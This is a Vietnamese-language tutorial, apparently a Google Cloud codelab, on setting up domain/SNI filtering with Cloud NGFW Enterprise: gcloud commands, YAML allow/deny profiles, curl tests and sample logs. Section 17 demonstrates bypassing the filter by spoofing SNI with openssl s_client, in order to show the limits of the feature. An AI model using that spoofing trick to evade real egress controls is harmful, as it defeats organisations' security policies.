1. Giới thiệu
Tường lửa thế hệ mới (NGFW) trên đám mây
Tường lửa thế hệ mới trên đám mây là một dịch vụ tường lửa được phân phối đầy đủ, có các chức năng bảo vệ nâng cao, phân đoạn vi mô và phạm vi phủ sóng rộng rãi để bảo vệ các khối lượng công việc trên Google Cloud của bạn khỏi các cuộc tấn công từ bên trong và bên ngoài.
Cloud NGFW có những lợi ích sau:
- Dịch vụ tường lửa phân tán: Cloud NGFW cung cấp một cơ chế thực thi dựa trên máy chủ lưu trạng thái và được phân phối đầy đủ trên mỗi khối lượng công việc để cho phép kiến trúc bảo mật không tin tưởng bất cứ nguồn nào.
- Đơn giản hoá việc định cấu hình và triển khai: Cloud NGFW triển khai các chính sách tường lửa theo hệ thống phân cấp và mạng có thể được đính kèm vào một nút hệ thống phân cấp tài nguyên. Các chính sách này mang lại trải nghiệm nhất quán về tường lửa trên hệ thống phân cấp tài nguyên của Google Cloud.
- Kiểm soát chi tiết và phân đoạn vi mô: Sự kết hợp giữa các chính sách tường lửa và Thẻ do Quản lý danh tính và quyền truy cập (IAM) chi phối giúp kiểm soát lưu lượng truy cập theo cả hướng bắc – nam và đông – tây một cách chi tiết, xuống đến một VM duy nhất, trên các mạng Virtual Private Cloud (VPC) và tổ chức.
Cloud NGFW có các cấp sau:
- Cloud Next Generation Firewall Essentials
- Tường lửa thế hệ mới trên đám mây (chuẩn)
- Tường lửa thế hệ mới trên đám mây dành cho doanh nghiệp
Các đối tượng FQDN tiêu chuẩn của Cloud NGFW có thể dịch Tên miền đủ điều kiện (FQDN) thành địa chỉ IP, sau đó thực thi quy tắc đối với danh sách địa chỉ IP. Tuy nhiên, Cloud NGFW Enterprise có tính năng lọc miền có thể tiến thêm một vài bước trong quá trình kiểm tra.
Cloud NGFW Enterprise
Cloud NGFW Enterprise hiện cung cấp Dịch vụ ngăn chặn xâm nhập (IPS), một chức năng ở Lớp 7, cho cấu trúc tường lửa phân tán của Google Cloud.
Cloud NGFW Enterprise hiện có tính năng lọc miền, giúp kiểm soát lưu lượng truy cập http(s) bằng cách sử dụng tên miền thay vì dựa vào địa chỉ IP.
Đối với việc lọc Miền/SNI của lưu lượng truy cập https, trong quá trình bắt tay TLS, Client Hello là một tiện ích có Chỉ báo tên máy chủ (SNI). SNI là một tiện ích cho giao thức TLS, gửi tên máy chủ mà một máy khách đang cố gắng truy cập. Đây là nơi bộ lọc sẽ được xác thực.
Với lưu lượng truy cập http, sẽ không có SNI, vì vậy chỉ trường tiêu đề Host http mới được dùng để áp dụng việc lọc.
Tính năng lọc miền được định cấu hình bằng UrlFilteringProfile, đây là một loại Hồ sơ bảo mật mới. UrlFilteringProfile sẽ chứa một danh sách UrlFilter, mỗi UrlFilter chứa một thao tác, một danh sách các chuỗi so khớp và một mức độ ưu tiên riêng. Cấu hình này sử dụng "Url" (URL) thay vì "Domain" (Miền) để dễ dàng chuyển đổi sang tính năng lọc URL đầy đủ khi tính năng này có sẵn thay vì tạo một loại Hồ sơ bảo mật mới trong tương lai.
UrlFilteringProfiles bao gồm một UrlFilter ngầm, có mức độ ưu tiên thấp nhất (2147483647) sẽ từ chối tất cả các kết nối không khớp với UrlFilter có mức độ ưu tiên cao hơn.
Sản phẩm bạn sẽ tạo ra
Lớp học lập trình này yêu cầu một dự án duy nhất và khả năng tạo mạng VPC cũng như quản lý một số tài nguyên mạng và bảo mật. Lớp học lập trình này sẽ minh hoạ cách Cloud NGFW Enterprise có thể cung cấp tính năng lọc miền và SNI kèm theo hướng dẫn không bắt buộc về việc kiểm tra TLS.
Chúng tôi sẽ kiểm thử nhiều trường hợp về quy tắc cho phép và từ chối, bao gồm cả việc sử dụng ký tự đại diện.

Trạng thái cuối cùng của cơ sở quy tắc chính sách tường lửa mạng sẽ tương tự như bảng bên dưới:
Mức độ ưu tiên | Hướng dẫn | Target | Nguồn | Đích đến | Hành động | Loại |
200 | Lưu lượng vào | TẤT CẢ | IAP | Bất kỳ | Cho phép | Essentials |
300 | Lưu lượng ra | TẤT CẢ | Bất kỳ | 0.0.0.0/0:80,443 | Kiểm tra L7 | Doanh nghiệp |
Kiến thức bạn sẽ học được
- Cách tạo chính sách tường lửa mạng.
- Cách định cấu hình và sử dụng tính năng lọc miền/SNI của Cloud NGFW Enterprise.
- Cách định cấu hình tính năng ngăn chặn mối đe doạ ngoài tính năng Lọc miền/SNI.
- Cách xem xét nhật ký.
- [Không bắt buộc] Cách bật tính năng kiểm tra TLS.
Bạn cần có
- Dự án trên Google Cloud.
- Kiến thức về cách triển khai các phiên bản và định cấu hình các thành phần mạng.
- Kiến thức về cấu hình tường lửa theo chính sách mạng.
2. Trước khi bắt đầu
Tạo/cập nhật biến
Lớp học lập trình này sử dụng $variables để hỗ trợ việc triển khai cấu hình gcloud trong Cloud Shell.
Trong Cloud Shell, hãy chạy các lệnh bên dưới và thay thế thông tin trong dấu ngoặc nếu cần:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=domain-sni
3. Bật API
Bật các API nếu bạn chưa bật:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable privateca.googleapis.com
4. Tạo điểm cuối doanh nghiệp Cloud NGFW
Vì quá trình tạo Điểm cuối doanh nghiệp Cloud NGFW mất khoảng 20 phút, nên điểm cuối này sẽ được tạo trước và bạn có thể thực hiện chế độ thiết lập cơ bản song song trong khi điểm cuối đang được tạo.
Tính năng Lọc miền/SNI sẽ yêu cầu một Điểm cuối tường lửa ngay cả khi bạn không có ý định sử dụng hồ sơ ngăn chặn mối đe doạ.
Tạo Nhóm hồ sơ bảo mật và Hồ sơ bảo mật:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$project_id
Chạy lệnh bên dưới để xác nhận rằng điểm cuối đang được tạo (CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Kết quả đầu ra dự kiến (xin lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
Quá trình tạo mất khoảng 20 phút. Chuyển đến phần Thiết lập cơ bản để tạo các tài nguyên cần thiết song song.
5. Thiết lập cơ bản
Mạng và mạng con VPC
Mạng VPC và mạng con
Tạo mạng và mạng con VPC:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Tạo địa chỉ IP ngoài, Cloud Router và cổng Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Tạo phiên bản
Tạo thực thể ứng dụng khách:
gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet \ --no-address \ --zone $zone
Chính sách về tường lửa mạng toàn cầu
Tạo chính sách tường lửa mạng toàn cầu:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Domain/SNI Filtering" --global
Tạo các quy tắc Cloud Firewall Essentials bắt buộc để cho phép lưu lượng truy cập từ các dải proxy nhận biết danh tính:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
Liên kết chính sách tường lửa trên đám mây với mạng VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. Tạo cấu hình lọc miền/SNI cho phép
Tiếp theo, chúng ta sẽ định cấu hình các miền để cho phép và từ chối. Trong cloudshell, hãy tạo tệp yaml:
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 1000
urls:
- 'www.example.com'
EOF
Tạo một hồ sơ bảo mật bằng cách nhập cấu hình yaml:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Kết quả đầu ra dự kiến:
Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 1000
urls:
- www.example.com
- filteringAction: DENY
priority: 2147483647
urls:
- '*'
Tạo một nhóm hồ sơ bảo mật:
gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp
Xác thực rằng SPG chứa Security Profile (Hồ sơ bảo mật):
gcloud network-security security-profile-groups describe $prefix-spg \ --location=global \ --organization=$org_id \ --project=$project_id
Kết quả đầu ra dự kiến:
{
"createTime": "2025-09-19T22:06:15.298569417Z",
"dataPathId": "685",
"etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
"name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
"updateTime": "2025-09-19T22:06:19.201991641Z",
"urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}
7. Liên kết điểm cuối của Tường lửa trên đám mây
Xác định các biến môi trường trong trường hợp bạn chưa thực hiện và/hoặc ưu tiên phương pháp tập lệnh.
Xác nhận rằng bạn đã hoàn tất thành công việc tạo Điểm cuối tường lửa trên đám mây. Chỉ tiếp tục khi trạng thái hiển thị là ĐANG HOẠT ĐỘNG (trong quá trình tạo, trạng thái dự kiến là ĐANG TẠO):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Kết quả đầu ra dự kiến (xin lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
Liên kết điểm cuối Tường lửa trên đám mây với mạng VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
Quá trình liên kết mất khoảng 10 phút. Chỉ chuyển sang phần tiếp theo khi trạng thái hiển thị là ĐANG HOẠT ĐỘNG (trong quá trình tạo, trạng thái dự kiến là ĐANG TẠO):
gcloud network-security firewall-endpoint-associations list
Kết quả đầu ra dự kiến khi complete:
ID: $prefix-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
8. Tạo quy tắc tường lửa để lọc miền/SNI
Google có các quy tắc tường lửa cho phép lưu lượng truy cập đi ngầm. Nếu muốn thực thi việc lọc miền/SNI, chúng ta phải xác định rõ một quy tắc. Quy tắc sau đây sẽ gửi lưu lượng truy cập đi cho các cổng đích 80 và 443 để hồ sơ bảo mật của chúng tôi kiểm tra.
gcloud compute network-firewall-policies rules create 300 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --layer4-configs=tcp:80,tcp:443 \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging
9. Xác thực Quy tắc cho phép
Bắt đầu kết nối SSH với máy ảo thông qua IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Gửi các yêu cầu mẫu đến đích đến được phép:
curl https://www.example.com --max-time 2
Xin lưu ý rằng yêu cầu này đã thành công do quy tắc tường lửa "cho phép".
Hãy thử một vài miền không có trong danh sách.
curl https://example.com --max-time 2 curl https://google.com --max-time 2 curl https://wikipedia.org --max-time 2
Kết quả đầu ra dự kiến:
curl: (35) Recv failure: Connection reset by peer curl: (35) Recv failure: Connection reset by peer curl: (35) Recv failure: Connection reset by peer
Tại sao "example.com" không hoạt động? Điều này là do cấu hình hồ sơ bảo mật có "www.example.com" một cách rõ ràng. Nếu muốn cho phép tất cả miền con của example.com, chúng ta có thể sử dụng ký tự đại diện.
Các yêu cầu khác cũng không thành công. Điều này là do nhóm hồ sơ bảo mật có chế độ từ chối mặc định với mức độ ưu tiên thấp nhất và chỉ www.example.com được phép.
Thoát khỏi máy ảo để quay lại Cloud Shell.
exit
10. Cập nhật cấu hình lọc miền/SNI cho ký tự đại diện
Hãy xem tệp yaml và thực hiện một số nội dung cập nhật bổ sung để giới thiệu các chức năng khác, bao gồm cả tính năng hỗ trợ ký tự đại diện. Chúng ta sẽ tạo một quy tắc cho phép "*.com", tương đương với mọi miền kết thúc bằng .com. Lưu ý: Quy tắc này sẽ thay thế hoàn toàn nội dung của tệp yaml ban đầu được tạo trong phần trước.
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 2000
urls:
- '*.com'
EOF
Cập nhật hồ sơ bảo mật bằng cấu hình yaml mới:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Xác thực cấu hình hồ sơ bảo mật:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
Kết quả đầu ra dự kiến:
{
"createTime": "2025-09-19T22:03:36.008789416Z",
"etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
"name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
"type": "URL_FILTERING",
"updateTime": "2025-09-20T03:45:42.519263424Z",
"urlFilteringProfile": {
"urlFilters": [
{
"filteringAction": "ALLOW",
"priority": 2000,
"urls": [
"*.com"
]
},
{
"filteringAction": "DENY",
"priority": 2147483647,
"urls": [
"*"
]
}
]
}
}
11. Xác thực quy tắc ký tự đại diện
Hãy xác thực xem quy tắc ký tự đại diện có hoạt động hay không. Bắt đầu kết nối SSH với máy ảo thông qua IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Gửi các yêu cầu mẫu đến những đích đến được phép:
curl https://github.com --max-time 2 curl https://google.com --max-time 2
Tất cả các yêu cầu này đều phải thành công. Bạn có thể thử bất kỳ miền .com hợp lệ nào khác. Nếu vẫn không thành công, hãy đảm bảo bạn đã đợi ít nhất 10 phút rồi thử lại.
Chúng ta thậm chí có thể thử nhiều miền con của ".com" và tất cả đều phải thành công.
curl https://mail.google.com --max-time 2
Thoát khỏi máy ảo để quay lại Cloud Shell.
exit
12. Cập nhật cấu hình lọc miền/SNI để từ chối
Chúng tôi đã cho thấy có một quy tắc DENY ngầm cho * ở cuối hồ sơ bảo mật và tạo các miền "được phép" bằng cách sử dụng filteringAction là "ALLOW". Hãy thảo luận về cách sử dụng filteringAction dưới dạng "DENY". Các thao tác DENY có thể hữu ích khi đứng trước một thao tác ALLOW rõ ràng. Hãy xem ví dụ sau đây.
Chúng tôi sẽ cập nhật tệp yaml hiện có để cho phép *.com nhưng từ chối một số miền .com cụ thể.
Chúng tôi sẽ sửa đổi tệp yaml để TỪ CHỐI *.github.com và *.google.com trong khi cho phép rõ ràng tất cả các *.com khác và giữ nguyên chế độ từ chối ngầm định mặc định. Lưu ý rằng mức độ ưu tiên của các trường hợp ngoại lệ phải có số ưu tiên thấp hơn: (1000 so với 2000) và (1500 so với 2000).
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: DENY
priority: 1000
urls:
- '*.github.com'
- filteringAction: DENY
priority: 1500
urls:
- '*.google.com'
- filteringAction: ALLOW
priority: 2000
urls:
- '*.com'
EOF
Cập nhật hồ sơ bảo mật bằng cấu hình yaml mới:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Xác thực cấu hình hồ sơ bảo mật:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
13. Xác thực quy tắc từ chối
Hãy xác thực xem các quy tắc DENY có hoạt động hay không. Bắt đầu kết nối SSH với máy ảo thông qua IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Gửi các yêu cầu mẫu đến những đích đến bị từ chối:
curl https://www.github.com --max-time 2 curl https://mail.google.com --max-time 2
Hai yêu cầu này sẽ không thành công vì khớp với quy tắc "DENY".
Gửi thêm một số yêu cầu:
curl https://github.com --max-time 2 curl https://google.com --max-time 2
Tại sao những cách này lại hiệu quả? Các quy tắc này có hiệu quả vì quy tắc DENY là cho ".github.com" và ".google.com". Các yêu cầu đối với github.com và google.com không bao gồm ký tự đại diện đó vì ký tự này tham chiếu đến các miền con của github.com và google.com.
Các yêu cầu khác đối với miền .com sẽ thành công, với chế độ từ chối mặc định cho các miền khác. (.org, .net, .me, ...v.v.)
Thoát khỏi máy ảo để quay lại Cloud Shell.
exit
14. Cập nhật cấu hình lọc miền/SNI cho chế độ Cho phép mặc định
Điều gì xảy ra nếu bạn muốn có hành vi CHO PHÉP mặc định với các quy tắc từ chối rõ ràng. Chúng tôi sẽ cập nhật YAML để thể hiện hành vi này. Chúng tôi sẽ định cấu hình các quy tắc TỪ CHỐI cho mọi miền .com hoặc .net và cho phép tất cả các miền khác.
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: DENY
priority: 1000
urls:
- '*.com'
- filteringAction: DENY
priority: 1500
urls:
- '*.net'
- filteringAction: ALLOW
priority: 2000000000
urls:
- '*'
EOF
Cập nhật hồ sơ bảo mật bằng cấu hình yaml mới:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Xác thực cấu hình hồ sơ bảo mật:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
Kết quả đầu ra dự kiến:
{
"createTime": "2025-09-19T22:03:36.008789416Z",
"etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
"name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
"type": "URL_FILTERING",
"updateTime": "2025-09-20T04:32:53.299276787Z",
"urlFilteringProfile": {
"urlFilters": [
{
"filteringAction": "DENY",
"priority": 1000,
"urls": [
"*.com"
]
},
{
"filteringAction": "DENY",
"priority": 1500,
"urls": [
"*.net"
]
},
{
"filteringAction": "ALLOW",
"priority": 2000000000,
"urls": [
"*"
]
},
{
"filteringAction": "DENY",
"priority": 2147483647,
"urls": [
"*"
]
}
]
}
}
Xin lưu ý rằng lệnh DENY ngầm cho * vẫn tồn tại. Quy tắc đó sẽ không liên quan vì chúng tôi đã định cấu hình một quy tắc mặc định có mức độ ưu tiên cao hơn (giá trị thấp hơn) và đặt filteringAction thành ALLOW.
(2000000000 so với 2147483647)
15. Xác thực Quy tắc từ chối bằng chế độ Cho phép mặc định
Hãy xác thực xem các quy tắc DENY có hoạt động cùng với quy tắc ALLOW mặc định hay không. Bắt đầu kết nối SSH với máy ảo thông qua IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Gửi các yêu cầu mẫu đến những đích đến bị từ chối:
curl https://www.github.com --max-time 2 curl https://www.php.net --max-time 2
Hai yêu cầu này sẽ không thành công vì khớp với quy tắc "DENY". Mọi yêu cầu .com hoặc .net đều sẽ không thành công.
Gửi một số yêu cầu phải thành công (bất kỳ miền cấp cao nhất nào khác):
curl https://wikipedia.org --max-time 2 curl https://ifconfig.me --max-time 2
Những yêu cầu này sẽ thành công vì chúng đang áp dụng quy tắc cho phép "mặc định" với mức độ ưu tiên là 2000000000.
16. Khám phá nhật ký để lọc miền/SNI
Hãy kiểm tra cách chúng ta có thể xác thực xem lưu lượng truy cập có đang được quy tắc tường lửa kiểm tra để lọc miền/SNI hay không.
Trong Cloud Console, hãy chuyển đến Trình khám phá nhật ký rồi nhập bộ lọc sau:
jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"
Bộ lọc ở trên đang xem xét chính sách tường lửa mà chúng ta đã tạo có tên $prefix-fwpolicy và mức độ ưu tiên quy tắc là 300. Chính sách này có nhóm hồ sơ bảo mật được liên kết với cấu hình lọc miền/SNI.

Như bạn có thể thấy, "trạng thái" là "INTERCEPTED" (BỊ CHẶN), cho biết lưu lượng truy cập đã bị chặn và gửi đến công cụ tường lửa của chúng tôi để xử lý.
Giờ đây, để xem nhật ký lọc SNI/miền thực tế, chúng ta có thể nhập bộ lọc sau trong Trình khám phá nhật ký: (Bạn phải thay thế $project_id bằng giá trị project_id của mình)
logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

Nếu mở rộng một số chi tiết, chúng ta có thể thấy các chi tiết sau trong một ví dụ (đã được làm sạch):
{
"insertId": "mro2t1f4banf9",
"jsonPayload": {
"direction": "CLIENT_TO_SERVER",
"detectionTime": "2025-09-20T04:39:40.713432713Z",
"connection": {
"serverPort": 443,
"serverIp": "198.35.26.96",
"clientPort": 37410,
"protocol": "TCP",
"clientIp": "10.0.0.2"
},
"action": "ALLOW",
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
"ruleIndex": 2000000000,
"interceptInstance": {
"projectId": "$project_id",
"zone": "$zone",
"vm": "$prefix-$zone-client"
},
"applicationLayerDetails": {
"uri": "",
"protocol": "PROTOCOL_UNSPECIFIED"
},
"securityProfileGroupDetails": {
"organizationId": "$org_id",
"securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
},
"sessionLayerDetails": {
"sni": "wikipedia.org",
"protocolVersion": "TLS1_2"
},
"denyType": "unspecified",
"interceptVpc": {
"projectId": "$project_id",
"vpc": "$prefix-vpc"
},
"uriMatched": ""
},
"resource": {
"type": "networksecurity.googleapis.com/FirewallEndpoint",
"labels": {
"id": "$prefix-$zone",
"resource_container": "organizations/$org_id",
"location": "$zone"
}
},
"timestamp": "2025-09-20T04:39:43.758897121Z",
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
"receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}
Ví dụ về nhật ký ở trên cho thấy một yêu cầu đến wikipedia.org đã được CHO PHÉP vì yêu cầu đó trùng khớp với quy tắc có mức độ ưu tiên 2000000000 là "*" với filterAction ALLOW. Có những thông tin khác, bao gồm cả SNI.
Chúng ta có thể xem một nhật ký mẫu DENY:
{
"insertId": "1pllrqlf60jr29",
"jsonPayload": {
"securityProfileGroupDetails": {
"securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
"organizationId": "$org_id"
},
"action": "DENY",
"interceptVpc": {
"vpc": "$prefix-vpc",
"projectId": "$project_id"
},
"connection": {
"serverIp": "45.112.84.18",
"clientIp": "10.0.0.2",
"protocol": "TCP",
"serverPort": 443,
"clientPort": 45720
},
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
"applicationLayerDetails": {
"uri": "",
"protocol": "PROTOCOL_UNSPECIFIED"
},
"sessionLayerDetails": {
"sni": "www.php.net",
"protocolVersion": "TLS1_2"
},
"interceptInstance": {
"zone": "$zone",
"projectId": "$project_id",
"vm": "$prefix-$zone-client"
},
"detectionTime": "2025-09-20T04:37:57.345031164Z",
"direction": "CLIENT_TO_SERVER",
"ruleIndex": 1500,
"uriMatched": "",
"denyType": "SNI"
},
"resource": {
"type": "networksecurity.googleapis.com/FirewallEndpoint",
"labels": {
"id": "$prefix-$zone",
"resource_container": "organizations/$org_id",
"location": "$zone"
}
},
"timestamp": "2025-09-20T04:38:03.757200395Z",
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
"receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}
Như chúng ta có thể thấy ở trên, đây là một yêu cầu được ghi lại khi một yêu cầu bị từ chối. Yêu cầu này được gửi đến www.php.net và trùng khớp với quy tắc 1500 trong hồ sơ bảo mật. Tương tự, nó so khớp với SNI để đưa ra quyết định.
17. Xác thực các quy tắc khi có hành vi giả mạo SNI
Như đã đề cập trong phần giới thiệu, NGFW Enterprise có thể xem xét tiêu đề máy chủ lưu trữ HTTP cho lưu lượng truy cập HTTP hoặc xem xét SNI cho lưu lượng truy cập được mã hoá TLS. Cá nhân có thể giả mạo SNI. Điều gì sẽ xảy ra nếu họ làm như vậy?
Hãy xác thực hành vi này. Bắt đầu kết nối SSH với máy ảo thông qua IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Chạy lệnh openssl sau để giả mạo SNI:
openssl s_client -connect www.google.com:443 -servername ifconfig.me
Trong ví dụ trên, yêu cầu là các yêu cầu đối với miền .com và .net sẽ bị chặn, còn các TLD khác sẽ được phép. Dưới đây là ví dụ về một phản hồi giả mạo. Yêu cầu được gửi đến www.google.com (đáng lẽ phải bị chặn), nhưng thay vì gửi SNI của www.google.com, chúng tôi lại chỉ định SNI của ifconfig.me. Vì chính sách này kiểm tra SNI, nên chính sách sẽ coi đây là một miền "được phép" và cho phép miền này truy cập. Chúng tôi đã kết nối thành công TLS với google.com.
.
Kết quả đầu ra dự kiến:
CONNECTED(00000003) depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1 verify return:1 depth=1 C = US, O = Google Trust Services, CN = WR2 verify return:1 depth=0 CN = www.google.com verify return:1 --- Certificate chain 0 s:CN = www.google.com i:C = US, O = Google Trust Services, CN = WR2 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256 v:NotBefore: Sep 8 08:37:54 2025 GMT; NotAfter: Dec 1 08:37:53 2025 GMT 1 s:C = US, O = Google Trust Services, CN = WR2 i:C = US, O = Google Trust Services LLC, CN = GTS Root R1 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256 v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1 i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256 v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT --- Server certificate -----BEGIN CERTIFICATE----- MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU 5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2 IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ 